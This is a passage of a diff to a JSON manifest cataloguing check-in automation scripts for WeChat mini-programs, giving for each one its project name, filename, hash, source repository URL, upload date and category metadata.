"source_repo": "jdqlscript/toulu", + "source_path": "潇洒桐庐.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%BD%87%E6%B4%92%E6%A1%90%E5%BA%90.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%BD%87%E6%B4%92%E6%A1%90%E5%BA%90.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "潇洒桐庐", + "filename": "2026-05-14_xiaosatonglu_7a55d833.js", + "sha256": "7a55d833c40d510d42f428dee2967fa135a7b3ef61fbec64e65d39c0b84c373d", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "xiaosatonglu.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/xiaosatonglu.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/xiaosatonglu.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "点点兼职", + "filename": "2025-06-28_点点兼职_08d0c3dd.js", + "sha256": "08d0c3dd70debd0cb3aa538a0994a5d47669595bc2ae2387676426c05c7b781c", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "点点兼职.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%82%B9%E7%82%B9%E5%85%BC%E8%81%8C.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%82%B9%E7%82%B9%E5%85%BC%E8%81%8C.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "爱玛会员俱乐部", + "filename": "2025-06-28_爱玛会员俱乐部_b27f0206.js", + "sha256": "b27f0206715bcfbda1934198123c52ee839a0a337f5cd406725b82356096a19a", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "爱玛会员俱乐部.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E7%8E%9B%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E7%8E%9B%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "牙博士口腔微商城", + "filename": "2025-06-28_牙博士口腔微商城_c59a947a.js", + "sha256": "c59a947af6f68dad497b9b5b0a2b26392852946fcf3883c48748c0087c0ab939", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "牙博士口腔微商城.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%89%99%E5%8D%9A%E5%A3%AB%E5%8F%A3%E8%85%94%E5%BE%AE%E5%95%86%E5%9F%8E.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%89%99%E5%8D%9A%E5%A3%AB%E5%8F%A3%E8%85%94%E5%BE%AE%E5%95%86%E5%9F%8E.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/牙博士口腔微商城/2025-06-28_牙博士口腔微商城_c59a947a.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "瑷尔博士官方云商城", + "filename": "2025-06-28_瑷尔博士_9b3eaec2.js", + "sha256": "9b3eaec2c57164c1a96cf2e236c97997baa69d1e45e02503fbbcab3f73736fe3", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "瑷尔博士.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%91%B7%E5%B0%94%E5%8D%9A%E5%A3%AB.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%91%B7%E5%B0%94%E5%8D%9A%E5%A3%AB.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "益禾堂", + "filename": "2026-04-12_yht_3f2d67f0.js", + "sha256": "3f2d67f0b71391331c9cc40ea43a3b49855e4fbefc611dd27988f1974cb41533", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/yht.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/yht.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/yht.js", + "uploaded_at": "2026-04-12T06:41:36Z", + "saved_path": "脚本库/微信小程序/抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "益禾堂签到", @@ -1519,6 +5295,70 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "盖瑞特后市场", + "filename": "2025-06-28_盖瑞特后市场_b29d74fc.js", + "sha256": "b29d74fc9baa9f2cf96e1e36d8598ed28ed667c0e4c79df9b03750e2ac8bf8d4", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "盖瑞特后市场.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%9B%96%E7%91%9E%E7%89%B9%E5%90%8E%E5%B8%82%E5%9C%BA.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%9B%96%E7%91%9E%E7%89%B9%E5%90%8E%E5%B8%82%E5%9C%BA.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "睿蓝汽车", + "filename": "2026-04-01_ruilanCar_bbf9ecc4.js", + "sha256": "bbf9ecc479b7d6bed5fad99dc690124ce32bc3f64bd0313f229eb71cbc94bd2c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "ruilanCar.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/ruilanCar.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/ruilanCar.js", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/微信小程序/抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "立乐家会员俱乐部", + "filename": "2026-04-08_llj_268c1523.js", + "sha256": "268c15238c39ed7f628cf9b6d0df341e4810456fc65acda3d3b372888a4e349e", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/llj.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/llj.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/llj.js", + "uploaded_at": "2026-04-08T05:56:39Z", + "saved_path": "脚本库/微信小程序/抓包版/立乐家会员俱乐部/2026-04-08_llj_268c1523.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "米其林会员小程序", + "filename": "2026-05-14_miqilin_62de3bde.js", + "sha256": "62de3bdeb38837edfccddb525f451e9f7aa72afb284839413b72a5ada299438c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/miqilin.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/miqilin.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/miqilin.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/米其林会员小程序/2026-05-14_miqilin_62de3bde.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "索尼中国", @@ -1535,6 +5375,38 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "红旗智联", + "filename": "2025-06-28_红旗智联_c676b0c8.js", + "sha256": "c676b0c804204927c7ebcbc05f2aab18d80bf1a970427107840e5c1bfcbb59af", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "红旗智联.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%BA%A2%E6%97%97%E6%99%BA%E8%81%94.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%BA%A2%E6%97%97%E6%99%BA%E8%81%94.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "统一抽奖大集结", + "filename": "2025-06-28_统一_8487b153.js", + "sha256": "8487b15326043cec5ab177d6cbc07a7306bca5cb173bc4bde24c9af4b51e1f48", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "统一.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%BB%9F%E4%B8%80.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%BB%9F%E4%B8%80.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "统一茄皇-修复版", @@ -1583,6 +5455,102 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "美孚", + "filename": "2025-06-28_美孚_8e3199b6.js", + "sha256": "8e3199b6fd23f6e2a8da1c908b7c9709f892e2843294db627da3d7a93052497e", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "美孚.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%BE%8E%E5%AD%9A.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%BE%8E%E5%AD%9A.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/美孚/2025-06-28_美孚_8e3199b6.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "联通和沃畅游密码登录", + "filename": "2025-06-28_联通获取ck_a5eef486.py", + "sha256": "a5eef4860ea719a6aeebe90421bb96740870ac057a7b0e1c5115b52013a5175f", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "联通获取ck.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%81%94%E9%80%9A%E8%8E%B7%E5%8F%96ck.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%81%94%E9%80%9A%E8%8E%B7%E5%8F%96ck.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/联通和沃畅游密码登录/2025-06-28_联通获取ck_a5eef486.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "臭宝乐园", + "filename": "2025-06-28_臭宝乐园_abd99e11.js", + "sha256": "abd99e11219d5db720c17836b4f69202320cecd65c42f8cf70ab848b1029a204", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "臭宝乐园.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%87%AD%E5%AE%9D%E4%B9%90%E5%9B%AD.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%87%AD%E5%AE%9D%E4%B9%90%E5%9B%AD.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "臭宝乐园", + "filename": "2026-05-14_choubao_5bbd98d8.js", + "sha256": "5bbd98d8a822e4074280f475b354bbb68d4b7a6a72e3f9909b638231008e3ccb", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/choubao.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/choubao.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/choubao.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "荷叶健康小程序", + "filename": "2026-05-14_hyjk_fafd24e8.js", + "sha256": "fafd24e84af03196a944c9196f8bdd6e640018c604fb61c80a661c075a3d5db6", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/hyjk.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hyjk.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hyjk.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "蓝式宠物", + "filename": "2025-06-28_蓝式宠物_57deb499.py", + "sha256": "57deb499db66cd7527a32970d8d8967f5eb20047bf7e5cf43e4f8b2a1d1c5013", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "蓝式宠物.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%93%9D%E5%BC%8F%E5%AE%A0%E7%89%A9.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%93%9D%E5%BC%8F%E5%AE%A0%E7%89%A9.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "蜜雪冰城", @@ -1599,6 +5567,278 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "蜜雪冰城", + "filename": "2026-05-14_mxbc_68b9441a.js", + "sha256": "68b9441aeb9c8765dc6ca01576fe2a09c0f6d010563dd65d9061e29e9fcffc93", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/mxbc.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/mxbc.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/mxbc.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "西施眼", + "filename": "2025-06-28_西施眼_9132a43e.js", + "sha256": "9132a43eb779dedd83898d763fe418ca4edd715e149be0cc053c61c55a4130fd", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "西施眼.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%A5%BF%E6%96%BD%E7%9C%BC.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%A5%BF%E6%96%BD%E7%9C%BC.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/西施眼/2025-06-28_西施眼_9132a43e.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "谢瑞麟小程序签到", + "filename": "2026-05-14_tslj_28f4e466.js", + "sha256": "28f4e466af4337269545853bd1d2829e7d314fa4157c0cad82b91a4650303ee7", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/tslj.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/tslj.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/tslj.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "谷雨小程序", + "filename": "2026-05-14_guyu_ef65b269.js", + "sha256": "ef65b2694b08ab8584d6744f422ffa0748a46025b6316df40aeab472a62e139c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/guyu.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/guyu.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/guyu.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "起飞线生活", + "filename": "2025-06-28_起飞线_9bbd059d.js", + "sha256": "9bbd059de9b6e631288978e47fce4aca0e35a5eeae22d581aa4c84118f600821", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "起飞线.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%B5%B7%E9%A3%9E%E7%BA%BF.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%B5%B7%E9%A3%9E%E7%BA%BF.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "达美乐", + "filename": "2025-06-28_达美乐_ac7dcacb.py", + "sha256": "ac7dcacb101c1cc677a6b9c418de1ed3a63c43349c93191d0519d6375d79b3de", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "达美乐.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%BE%BE%E7%BE%8E%E4%B9%90.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%BE%BE%E7%BE%8E%E4%B9%90.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "达美乐短信认证", + "filename": "2025-06-28_达美乐短信认证_435e1f0c.py", + "sha256": "435e1f0c67ba8509a91e02100035261e85faa63adfe9d41b27747e380e0a3b21", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "达美乐短信认证.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%BE%BE%E7%BE%8E%E4%B9%90%E7%9F%AD%E4%BF%A1%E8%AE%A4%E8%AF%81.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%BE%BE%E7%BE%8E%E4%B9%90%E7%9F%AD%E4%BF%A1%E8%AE%A4%E8%AF%81.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "逑美_薇诺娜专柜小程序", + "filename": "2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js", + "sha256": "5e1421f703c649d97b345bae34bcb0dc104d9f509911575d3cd2a1aff7de206e", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "逑美And薇诺娜专柜小程序.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%91%E7%BE%8EAnd%E8%96%87%E8%AF%BA%E5%A8%9C%E4%B8%93%E6%9F%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%91%E7%BE%8EAnd%E8%96%87%E8%AF%BA%E5%A8%9C%E4%B8%93%E6%9F%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/逑美_薇诺娜专柜小程序/2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "途虎养车", + "filename": "2025-06-28_途虎养车_d3128030.js", + "sha256": "d3128030e3756abb59fe0bb9fac09461b847ac31e054a809dad720520b23f2fb", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "途虎养车.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%94%E8%99%8E%E5%85%BB%E8%BD%A6.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%94%E8%99%8E%E5%85%BB%E8%BD%A6.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "逢三得利吧", + "filename": "2025-06-28_逢三得利吧_4e59c90a.js", + "sha256": "4e59c90afaf62dfe2839fc737d1999bb010d1e5ffd0acabe5a3d2ab02958f408", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "逢三得利吧.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%A2%E4%B8%89%E5%BE%97%E5%88%A9%E5%90%A7.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%A2%E4%B8%89%E5%BE%97%E5%88%A9%E5%90%A7.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "逢三得利吧小程序", + "filename": "2026-05-14_fsdlb_c9dc848c.js", + "sha256": "c9dc848cba4a86dddf42506acc314a0f9fdcf1babc95f32fb05e0eaeaf7e8d68", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/fsdlb.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/fsdlb.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/fsdlb.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "酷瓜", + "filename": "2025-06-28_酷瓜_f2c605f7.py", + "sha256": "f2c605f703d051b8fd8f1cdb429524d6e15f8dc3de3a5cc336a70ed031b4ebf0", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "酷瓜.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%85%B7%E7%93%9C.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%85%B7%E7%93%9C.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "金杜丹小程序", + "filename": "2025-06-28_金杜丹_224fde1a.py", + "sha256": "224fde1a86ef16df82bbdcf49c53e800e36be47f424312344fd46d9e43690a6a", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "金杜丹.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%87%91%E6%9D%9C%E4%B8%B9.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%87%91%E6%9D%9C%E4%B8%B9.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "长虹智慧家居每日签到", + "filename": "2026-05-14_changhongmeiling_abc462ca.py", + "sha256": "abc462caab783d5dccff1eff251f9e2fbbd5f6bda3341c2b2823879f663b6045", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/changhongmeiling.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/changhongmeiling.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/changhongmeiling.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/长虹智慧家居每日签到/2026-05-14_changhongmeiling_abc462ca.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "长虹美菱", + "filename": "2025-06-28_长虹美菱_9c11ffd0.py", + "sha256": "9c11ffd02b98f33021e88c0c56805947899261cb0d3e1ee7cc14c9a3185103e7", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "长虹美菱.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E9%95%BF%E8%99%B9%E7%BE%8E%E8%8F%B1.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E9%95%BF%E8%99%B9%E7%BE%8E%E8%8F%B1.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "雪花勇闯天涯", + "filename": "2025-06-28_勇闯天涯superX_c2490fa1.js", + "sha256": "c2490fa158966609851a759fb578f3ce38387e3e6462087454b32dbced4e4128", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "勇闯天涯superX.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8B%87%E9%97%AF%E5%A4%A9%E6%B6%AFsuperX.js", + "raw_url": 